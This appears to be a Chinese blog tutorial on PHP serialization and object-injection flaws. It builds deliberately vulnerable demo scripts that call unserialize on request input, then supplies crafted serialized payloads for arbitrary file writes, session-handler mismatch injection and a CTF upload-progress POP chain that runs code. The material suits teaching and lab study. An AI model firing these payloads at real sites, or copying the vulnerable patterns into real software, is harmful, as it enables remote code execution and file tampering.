php序列化

1. 基础

1.1 什么是序列化

序列化是对象串行化,对象是一种在内存中存储的数据类型,寿命是随生成该对象的程序的终止而终止,为了持久使用对象的状态,将其通过serialize()函数进行序列化为一行字符串保存为文件,使用时再用unserialize()反序列化为对象

序列化后的格式:
布尔型

b:value
b:0 //false
b:1 //true

整数型

i:value
i:1
i:-1

字符型

s:length:"value";
s:4:"aaaa";

NULL型

N;

数组

a:<length>:{key, value pairs};
a:1:{i:1;s:1:"a";}

对象

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}

1.2 理解php对象常见魔术方法

当对象被创建的时候调用:
__construct
当对象被销毁的时候调用:
__destruct
当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):
__toString
序列化对象之前就调用此方法(其返回需要是一个数组):
__sleep
反序列化恢复对象之前就调用此方法:
__wakeup
当调用对象中不存在的方法会自动调用此方法L
__call

ex1:

<?php
class test{
    public $varr1="abc";
	public $varr2="123";
    public function echoP(){
        echo $this->varr1."<br>";
    }
    public function __construct(){
        echo "__construct<br>";
    }
    public function __destruct(){
        echo "__destruct<br>";
    }
    public function __toString(){
        return "__toString<br>";
    }
	public function __sleep(){
		echo "__sleep<br>";
		return array('varr1','varr2');
	}
    public function __wakeup(){
		echo "__wakeup<br>";
	}
}
//实例化一个对象,调用了construct方法,输出了__construct
$obj = new test();
//调用echoP方法,输出了abc
$obj->echoP();
//被当字符串输出,调用了__toString方法,输出了__toString
echo $obj;
//序列化对象,调用__sleep方法,输出了__sleep
$s = serialize($obj);
//输出序列化后的字符串,O:4:"test":2:{s:5:"varr1";s:3:"abc";s:5:"varr2";s:3:"123";}
echo $s;
//反序列化调用__wakeup方法,输出了__wakeup
//此时的echo又是相当于将对象字符串输出,于是又调用了__toString
echo unserialize($s);
//脚本结束,即对象将被销毁,调用__destruct,其中还有一次是反序列化恢复的对象,所以这里是输出两次__destruct
?>

1.3 简单demo漏洞利用

ex2:

<?php
class syclover{
		var $member;
		var $filename;
		function __wakeup(){
			$this->save($this->filename,$this->member);
		}
		public function save($filename,$data){
			file_put_contents($filename,$data);
		}
}
unserialize($_GET['a']);
?>

url(生成一个文件):

http://192.168.65.131/serialize/save_file.php?a=O:8:"syclover":2:{s:8:"filename";s:12:"/tmp/syc.php";s:6:"member";s:1:"1"}

2. php_session序列化及反序列化问题

2.1 简介

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize
(php>=5.5.4)
经过 serialize() 函数反序列处理的数组

php提供session.serialize_handler "php" PHP_INI_ALL可以来设置以上的处理器

测试的时候php版本一定要大于5.5.4(具体版本未测试,不然session写不进文件)

当存储是php_serialize处理,然后调用时php去处理
如果这时候注入的数据是a=|O:4:"test":0:{}
那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}
根据解释,其中a:1:{s:1:"a";s:16:"在经过php解析后是被看成键名,后面就是一个实例化test对象的注入

ex3:

1. php.ini先设置session.serialize_handler为php_serialize
2. http://192.168.65.133/other/serialize/2.php?a=|O:4:"test":0:{}
3. 删掉注释再次访问
<?php
//ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

2.2 实际利用

  1. session.auto_start=On
Q:session.auto_start参数会在脚本执行前会自动注册Session会话,所以在脚本中设置的php.ini中(序列化处理器\session)相关参数是无效的。
A:先销毁注册的session,然后设置处理器,再调用session_start()注册session

先将php中session.serialize_handler设置为php
ex4:

<?php
if (ini_get('session.auto_start')) {
    session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];

流程:

1、提交链接:foo1.php?a=|O:8:"stdClass":0:{}
其中session数据是:a:1:{s:1:"a";s:20:"|O:8:"stdClass":0:{}";}
2、第二次访问时,php会先按php.ini里设置的序列化处理器反序列化存储的数据(所以只能注入一些php内置类)
  1. session.auto_start=Off
    当两个脚本的序列化处理器不同就会有问题出现
    ex5:
    foo1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];

foo2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon{
    var $hi;
    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this->hi;
    }
}

构造好链接:

192.168.65.133/other/serialize/foo1.php?a=|O:5:"lemon":1:{s:2:"hi";s:5:"lemon";}

然后访问foo2.php,就会执行代码,输出hilemon

2.3 安恒ctf_web3

本题是根据2.2中的session.auto_start=Off出的,本地环境搭建时记得设置一下php.ini

session.auto_start=Off
session.serialize_handler=php_serialize
session.upload_progress.cleanup=0ff

当PHP_SESSION_UPLOAD_PROGRESS开时,upload一个文件,文件名会在session里面出现
详细参考:https://bugs.php.net/bug.php?id=71101

<form action="http://lemon.com/phpinfo.php" method="post"enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>

最后构造filename为

|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}

再次访问index.php就可以看到执行了var_dump(1)的代码。
当时很疑惑的一个问题是foo2中的__toString是如何调用的

class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}
class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}

看到foo1中的file_exists函数,它会讲对象转换为字符串,然后判断这个字符串(文件)是不是存在,所以有进行字符串的转化这一步,导致toString的调用(感谢p师傅的教导)
代码下载

3. 总结

本想继续研究一下一些cve方面的序列化漏洞,无奈现在正是忙其他事的时候。
有很多关于序列化的黑魔法:
https://github.com/80vul/phpcodz
以及p师傅的Joomla远程代码执行漏洞分析
http://drops.wooyun.org/papers/11330
都是需要好好学习一波的文章。

4. 本文学习的参考链接

http://drops.wooyun.org/papers/4820
http://drops.wooyun.org/tips/3909

posted @   l3m0n  阅读(5508)  评论(3编辑  收藏  举报
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
点击右上角即可分享
微信分享提示